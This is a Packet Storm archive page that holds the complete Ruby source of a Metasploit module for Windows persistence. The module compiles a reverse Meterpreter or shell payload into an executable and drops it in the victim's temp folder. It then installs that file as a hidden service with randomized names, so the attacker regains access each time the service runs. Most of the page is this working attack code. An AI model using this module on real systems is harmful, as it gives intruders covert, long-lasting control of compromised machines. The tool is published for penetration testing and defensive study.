what you don't know can hurt you

Windows Persistent Service Installer

Windows Persistent Service Installer
Posted Dec 17, 2018
Authored by Green-m | Site metasploit.com

This Module will generate and upload an executable to a remote host and then makes it a persistent service. It will create a new service which will start the payload whenever the service is running. Admin or system privilege is required.

tags | exploit, remote
MD5 | 2a69e1c7191b22cc48b06504f4eb3c67

Windows Persistent Service Installer

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'metasploit/framework/compiler/windows'

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::Common
include Msf::Post::File
include Msf::Post::Windows::Priv

def initialize(info = {})
super(update_info(info,
'Name' => 'Windows Persistent Service Installer',
'Description' => %q{
This Module will generate and upload an executable to a remote host, next will make it a persistent service.
It will create a new service which will start the payload whenever the service is running. Admin or system
privilege is required.
},
'License' => MSF_LICENSE,
'Author' => [ 'Green-m <greenm.xxoo[at]gmail.com>' ],
'Platform' => [ 'windows' ],
'Targets' => [['Windows', {}]],
'SessionTypes' => [ 'meterpreter', 'shell'],
'DefaultTarget' => 0,
'References' => [
[ 'URL', 'https://github.com/rapid7/metasploit-framework/blob/master/external/source/metsvc/src/metsvc.cpp' ]
],
'DisclosureDate'=> "Oct 20 2018"
))

register_options(
[
OptInt.new('RETRY_TIME', [false, 'The retry time that shell connect failed. 5 seconds as default.', 5 ]),
OptString.new('REMOTE_EXE_PATH', [false, 'The remote victim exe path to run. Use temp directory as default. ']),
OptString.new('REMOTE_EXE_NAME', [false, 'The remote victim name. Random string as default.']),
OptString.new('SERVICE_NAME', [false, 'The name of service. Random string as default.' ]),
OptString.new('SERVICE_DESCRIPTION', [false, 'The description of service. Random string as default.' ])
])
end

# Run Method for when run command is issued
#-------------------------------------------------------------------------------
def exploit
unless is_system? || is_admin?
print_error("Insufficient privileges to create service")
return
end

unless datastore['PAYLOAD'] =~ %r#^windows/(shell|meterpreter)/reverse#
print_error("Only support for windows meterpreter/shell reverse staged payload")
return
end

print_status("Running module against #{sysinfo['Computer']}")

# Set variables
rexepath = datastore['REMOTE_EXE_PATH']
@retry_time = datastore['RETRY_TIME']
rexename = datastore['REMOTE_EXE_NAME'] || Rex::Text.rand_text_alpha(4..8)
@service_name = datastore['SERVICE_NAME'] || Rex::Text.rand_text_alpha(4..8)
@service_description = datastore['SERVICE_DESCRIPTION'] || Rex::Text.rand_text_alpha(8..16)

# Add the windows pe suffix to rexename
unless rexename.end_with?('.exe')
rexename << ".exe"
end

host, _port = session.tunnel_peer.split(':')
@clean_up_rc = ""

buf = create_payload
vprint_status(buf)
metsvc_code = metsvc_template(buf)
bin = Metasploit::Framework::Compiler::Windows.compile_c(metsvc_code)

victim_path = write_exe_to_target(bin, rexename, rexepath)
install_service(victim_path)

clean_rc = log_file
file_local_write(clean_rc, @clean_up_rc)
print_status("Cleanup Meterpreter RC File: #{clean_rc}")

report_note(host: host,
type: "host.persistance.cleanup",
data: {
local_id: session.sid,
stype: session.type,
desc: session.info,
platform: session.platform,
via_payload: session.via_payload,
via_exploit: session.via_exploit,
created_at: Time.now.utc,
commands: @clean_up_rc
})
end

def create_payload
p = payload.encoded
Msf::Simple::Buffer.transform(p, 'c', 'buf')
end

# Function for writing executable to target host
# Code from post/windows/manage/persistence_exe
#
def write_exe_to_target(rexe, rexename, rexepath)
# check if we have write permission
if rexepath
begin
temprexe = rexepath + "\\" + rexename
write_file_to_target(temprexe,rexe)
rescue Rex::Post::Meterpreter::RequestError
print_warning("Insufficient privileges to write in #{rexepath}, writing to %TEMP%")
temprexe = session.fs.file.expand_path("%TEMP%") + "\\" + rexename
write_file_to_target(temprexe,rexe)
end

# Write to %temp% directory if not set REMOTE_EXE_PATH
else
temprexe = session.fs.file.expand_path("%TEMP%") + "\\" + rexename
write_file_to_target(temprexe,rexe)
end

print_good("Meterpreter service exe written to #{temprexe}")

@clean_up_rc << "execute -H -i -f taskkill.exe -a \"/f /im #{rexename}\"\n" # Use interact to wait until the task ended.
@clean_up_rc << "rm \"#{temprexe.gsub("\\", "\\\\\\\\")}\"\n"

temprexe
end

def write_file_to_target(temprexe,rexe)
fd = session.fs.file.new(temprexe, "wb")
fd.write(rexe)
fd.close
end

# Function for creating log folder and returning log path
#-------------------------------------------------------------------------------
def log_file
# Get hostname
host = session.sys.config.sysinfo["Computer"]

# Create Filename info to be appended to downloaded files
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")

# Create a directory for the logs
logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo))

# Create the log directory
::FileUtils.mkdir_p(logs)

logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc"
end

# Function to install payload as a service
#-------------------------------------------------------------------------------
def install_service(path)
print_status("Creating service #{@service_name}")

begin
session.sys.process.execute("cmd.exe /c \"#{path}\" #{@install_cmd}", nil, {'Hidden' => true})
rescue ::Exception => e
print_error("Failed to install the service.")
print_error(e.to_s)
end

@clean_up_rc = "execute -H -f sc.exe -a \"delete #{@service_name}\"\n" + @clean_up_rc
@clean_up_rc = "execute -H -f sc.exe -a \"stop #{@service_name}\"\n" + @clean_up_rc
end

def metsvc_template(buf)
@install_cmd = Rex::Text.rand_text_alpha(4..8)
@start_cmd = Rex::Text.rand_text_alpha(4..8)
template = File.read(File.join(Msf::Config.data_directory, 'exploits', 'persistence_service', 'service.erb'))
ERB.new(template).result(binding)
end
end

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

April 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    21 Files
  • 2
    Apr 2nd
    35 Files
  • 3
    Apr 3rd
    21 Files
  • 4
    Apr 4th
    16 Files
  • 5
    Apr 5th
    15 Files
  • 6
    Apr 6th
    1 Files
  • 7
    Apr 7th
    2 Files
  • 8
    Apr 8th
    23 Files
  • 9
    Apr 9th
    19 Files
  • 10
    Apr 10th
    15 Files
  • 11
    Apr 11th
    14 Files
  • 12
    Apr 12th
    11 Files
  • 13
    Apr 13th
    2 Files
  • 14
    Apr 14th
    5 Files
  • 15
    Apr 15th
    14 Files
  • 16
    Apr 16th
    19 Files
  • 17
    Apr 17th
    19 Files
  • 18
    Apr 18th
    8 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close